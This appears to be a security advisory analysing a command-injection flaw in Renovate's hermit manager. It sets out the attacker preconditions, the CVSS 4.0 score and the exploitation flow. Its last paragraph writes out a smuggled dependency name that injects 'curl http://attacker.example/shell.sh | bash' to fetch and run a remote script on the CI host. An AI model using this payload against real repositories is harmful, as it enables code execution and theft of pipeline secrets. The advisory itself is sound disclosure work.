Renovate EUVD-2026-62472

Two specific conditions must both be satisfied: first, the attacker must hold repository write access (ability to push commits or merge pull requests to the target repository); second, the repository must actively use Renovate's hermit manager, meaning Hermit-managed dependencies are present and the manager is not excluded via enabledManagers. Exploitation is blocked for purely external attackers lacking repository write access. The hermit manager is not universally enabled-only repositories that use the Hermit package manager for dependency management are in scope. The attack also requires crafting both a maliciously named dependency and a manipulated renovate.json5 to trigger Renovate's update logic, adding coordination overhead. Authentication requirements are confirmed as PR:H per the CVSS 4.0 vector: high-privilege (repository write) access is required.

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.4 and reflects the key risk shape: command execution with full confidentiality, integrity, and availability impact on the vulnerable system, but gated by PR:H (repository write access). This is not an opportunistic or mass-exploitation scenario-the PR:H requirement means only insiders or compromised contributors can trigger it. AV:L in the CVSS 4.0 context aligns with the attack materializing on the local Renovate execution host rather than over a direct network path. No EPSS score was provided and no CISA KEV listing exists, so exploitation probability from automated sources is unknown. However, a working PoC with step-by-step reproduction instructions is embedded in the public security advisory, meaningfully lowering the bar for any attacker already holding repo write access. The highest-value targets are self-hosted Renovate deployments running on privileged CI/CD infrastructure, where command execution would grant access to secrets, build pipelines, or production environments. Repositories not using the hermit manager are entirely unaffected regardless of Renovate version.

An attacker with repository write access commits a hermit dependency file with a name containing shell metacharacters-such as go-1.17; curl http://attacker.example/shell.sh | bash; echo -and simultaneously commits a renovate.json5 that uses customDatasources and packageRules to override the hermit manager's datasource and force Renovate to perceive a new version as available. When the Renovate bot next processes the repository, it constructs the command ./hermit install go-1.17; curl http://attacker.example/shell.sh | bash; echo -1.17.1 and executes it in a shell on the CI/CD host, achieving arbitrary command execution. A complete PoC reproducing this flow is included in GHSA-36j9-mx87-2cff.